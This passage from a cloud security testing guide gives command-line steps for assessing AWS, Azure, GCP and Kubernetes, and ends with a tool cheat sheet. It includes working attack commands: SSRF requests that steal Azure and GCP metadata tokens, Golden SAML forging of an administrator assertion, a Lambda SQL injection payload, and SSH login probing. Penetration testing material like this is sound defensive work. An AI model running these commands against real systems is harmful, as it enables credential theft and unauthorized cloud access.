prowler aws --services s3 --output-formats html json csv --output-path
./prowler-results/
```

Phase 5: AWS Platform-Specific Attack Techniques

CSEC-AWS - AWS Service-Specific Attack Demonstrations

Objective: Demonstrates exploitable vulnerabilities in specific AWS services.

Activity 5.1: AWS Cognito Security Testing

Sub-heading: CSEC-AWS-01 - Test Amazon Cognito for Authentication Weaknesses

Method 1: Enumerate Cognito User Pools

1. List all Cognito User Pools in the account:

   Bash

```
aws cognito-idp list-user-pools --max-results 60 --output table
```

Method 3: Test for Unauthenticated Cognito Identity Pool Access

1. If unauthenticated identities are allowed, get credentials without any login:

   Bash

```
IDENTITY_ID=$(aws cognito-identity get-id --identity-pool-id <IdentityPoolId> --
account-id <AccountId> --query IdentityId --output text)
aws cognito-identity get-credentials-for-identity --identity-id "$IDENTITY_ID"
```

Phase 6: Microsoft Azure Hacking

CSEC-AZURE - Azure-Specific Enumeration and Attack Techniques

Objective: Systematically assesses Microsoft Azure environments.

Activity 6.1: Azure Active Directory (Entra ID) Enumeration

Sub-heading: CSEC-AZURE-01 - Enumerate Azure AD Users, Groups, and Applications

Method 1: Azure CLI Enumeration (Core Commands)

1. Authenticate with Azure:

   Bash

   ```
   az login
   ```

2. List all subscriptions accessible to the current account:

   Bash

   ```
   az account list --output table
   ```

3. List all Azure AD users:

   Bash

   ```
   az ad user list --output table
   ```

Method 2: Using AzureGraph for Comprehensive Azure AD Enumeration

1. Run enumeration with current az cli credentials:

   Bash

   ```
   python3 AzureGraph.py --get-all-users
   ```

Activity 6.3: Exploit Azure Managed Identity via SSRF

Sub-heading: CSEC-AZURE-03 - Steal Azure Managed Identity Token via SSRF

Method: SSRF to Azure IMDS Token Theft

1. Test basic SSRF connectivity to the Azure IMDS endpoint:

   Bash

   ```
   curl -s "https://target-app.azurewebsites.net/proxy?
   url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H
   "Metadata: true"
   ```

2. Request an access token for the Azure management plane:

   Bash

   ```
   curl -s "https://target-app.azurewebsites.net/proxy?
   url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-
   01&resource=https://management.azure.com/" -H "Metadata: true"
   ```

Phase 7: Google Cloud Platform (GCP) Hacking

CSEC-GCP - GCP-Specific Enumeration and Attack Techniques

Objective: Assesses Google Cloud Platform environments.

Activity 7.1: GCP IAM and Resource Enumeration

Sub-heading: CSEC-GCP-01 - Enumerate GCP Projects, IAM Bindings, and Resources

Method 1: Authenticate and Enumerate with gcloud CLI

1. Authenticate with a service account JSON key file:

   Bash

   ```
   gcloud auth activate-service-account --key-file=/path/to/service-account-key.json
   ```

2. Get the IAM policy for a project:

   Bash

   ```
   gcloud projects get-iam-policy <project-id> --format=json
   ```

Method 3: Steal GCP Credentials via SSRF Against Metadata Server

1. Steal the access token for the instance's service account:

   Bash

   ```
   curl -s "https://target-app.appspot.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
   ```

Phase 8: Cloud Security Hardening Verification

CSEC-HARDEN - Verify Security Controls and Countermeasures

Objective: Verifies that key security controls are in place across the assessed cloud environment.

Activity 8.3: Run Full Multi-Cloud Automated Assessment

Sub-heading: CSEC-HARDEN-03 - Comprehensive Automated Security Posture Assessment

Method: Prowler and ScoutSuite Full-Spectrum Assessment

1. Run full Prowler assessment for AWS:

   Bash

```
prowler aws --profile <aws-profile> --output-formats html json csv --output-path
./final-reports/aws/
```

Phase 9: Advanced Cloud Identity Attacks

CSEC-IDENTITY - Advanced Identity-Layer Attack Techniques

Objective: Covers sophisticated identity-based attacks that go beyond basic credential theft.

Activity 9.1: Golden SAML Attack

Sub-heading: CSEC-IDENTITY-01 - Forge SAML Assertions Using Stolen Signing Certificate

Method 2: Forge SAML Tokens Using ADFSpoof

1. Forge a SAML token for an AWS role:

   Bash

```
python3 ADFSpoof.py \
  -b adfs_signing.pfx \
  -s https://adfs.target.com/adfs/services/trust \
  -p export_password \
  --assertionid "forge$(date +%s)" \
  --nameid "administrator@target.com" \
  --attribute
"http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"
"administrator" \
  --attribute "https://aws.amazon.com/SAML/Attributes/Role"
"arn:aws:iam::123456789012:role/ADFS-Admin,arn:aws:iam::123456789012:saml-
provider/ADFS" \
  --attribute "https://aws.amazon.com/SAML/Attributes/RoleSessionDuration"
"43200" \
  -o forged_saml_token.xml
```

Phase 10: Serverless Security Testing

CSEC-SERVERLESS - AWS Lambda and Azure Functions Security Assessment

Objective: Focuses specifically on serverless function security beyond what was covered in the IAM section.

Activity 10.1: Lambda Event Injection Testing

Sub-heading: CSEC-SERVERLESS-01 - Test Lambda Functions for Event-Based Injection Attacks

Method 1: SQL Injection via Lambda Event Data

1. Test for SQL injection via the event payload:

   Bash

```
aws lambda invoke \
  --function-name user-lookup-function \
  --payload '{"username": "admin'\'' OR '\''1'\''='\''1'\''--"}' \
  --cli-binary-format raw-in-base64-out sqli_1.json && cat sqli_1.json
```

Phase 11: Network Security Testing in Cloud Environments

CSEC-NETWORK - VPC, Security Group, and Network Flow Assessment

Objective: Assesses the network security architecture of the cloud environment.

Activity 11.1: Security Group Misconfiguration Testing

Sub-heading: CSEC-NETWORK-01 - Identify Overly Permissive Security Group Rules

Method 2: Test Direct Exploitation of Open Management Ports

1. Test SSH access on port 22 open to 0.0.0.0/0:

   Bash

```
for user in ubuntu ec2-user admin root centos; do
  echo "Trying $user@<public-ip>"
  ssh -o ConnectTimeout=5 -o BatchMode=yes -o StrictHostKeyChecking=no -i
/dev/null "$user@<public-ip>" 2>&1 | grep -E "Permission denied|key"
done
```

Phase 12: Cloud Incident Response and Evidence Preservation

CSEC-IR - Cloud Forensics and Evidence Collection

Objective: Covers the techniques an attacker uses to maintain persistence, cover their tracks, and evade detection in cloud environments.

Activity 12.2: Cloud Forensic Evidence Collection

Sub-heading: CSEC-IR-02 - Preserve Evidence for Incident Investigation

Method: AWS Evidence Preservation Commands

1. Capture current IAM state for forensic baseline:

   Bash

```
aws iam generate-credential-report
sleep 5
```

```
aws iam get-credential-report --query "Content" --output text | base64 -d >
iam_credential_report_$(date +%Y%m%d).csv
```

2. Create a point-in-time EBS snapshot for forensic analysis:

   Bash

```
aws ec2 create-snapshot \
  --volume-id <volume-id> \
  --description "Forensic snapshot $(date +%Y%m%d_%H%M%S) - DO NOT DELETE" \
  --tag-specifications 'ResourceType=snapshot,Tags=
[{Key=Purpose,Value=ForensicEvidence},{Key=CreatedBy,Value=SecurityTeam}]'
```

Cloud Security Testing Quick Reference — Command Cheat Sheet

This section provides a condensed reference of the most critical commands used throughout this guide, organised by platform and phase for rapid use during engagements.

AWS Core Commands

- **Who am I?**

  Bash

```
aws sts get-caller-identity
```

- **List all users, roles, groups:**

  Bash

```
aws iam list-users --output table
aws iam list-roles --output table
```

- **List all S3 buckets & Download:**

  Bash

```
aws s3 ls
aws s3 sync s3://<bucket> ./local-copy --no-sign-request
```

Azure Core Commands

- **Login & List resources:**

  Bash

```
az login
az group list --output table
az vm list --output table
```

- **List secrets in Key Vault:**

  Bash

```
az keyvault secret list --vault-name <vault>
```

GCP Core Commands

- **Authenticate & List projects:**

  Bash

```
gcloud auth activate-service-account --key-file=key.json
gcloud projects list
```

Kubernetes Core Commands

- **Cluster info and resources:**

  Bash

```
kubectl cluster-info
kubectl get pods --all-namespaces -o wide
```

Multi-Cloud Automated Tools

- **Prowler & ScoutSuite:**

  Bash

```
prowler aws --services s3 ec2 iam lambda cloudtrail guardduty
scout aws --profile <profile>
```

- **PMapper — IAM escalation paths:**

  Bash

```
pmapper graph create
pmapper query "who can become an admin"
```

- **Pacu — AWS exploitation:**

  Bash

```
pacu
import_keys <profile>
run iam__enum_users_roles_policies_groups
run iam__privesc_scan
run s3__get_bucket_acls
run ec2__enum
```

- **kube-hunter — Kubernetes pentesting:**

  Bash

```
kube-hunter --remote <k8s-api-ip>
kube-hunter --remote <k8s-api-ip> --report json
```

- **Trivy — container image scanning:**

  Bash

  ```
  trivy image <image-name>:<tag>
  trivy image --severity CRITICAL,HIGH <image-name>:<tag>
  trivy fs ./function-analysis/
  ```

- **TruffleHog — secret detection:**

  Bash

  ```
  trufflehog github --org=<org> --only-verified
  trufflehog git https://github.com/<org>/<repo>.git --only-verified
  trufflehog filesystem ./local-directory/ --json
  ```

Conclusion

This Cloud Security Testing Guide covers all phases of a comprehensive cloud security assessment, from passive external reconnaissance through to advanced identity attacks and evidence preservation. Each activity includes full command syntax, expected outputs for both vulnerable and secure configurations, and practical context drawn from real-world cloud security assessments.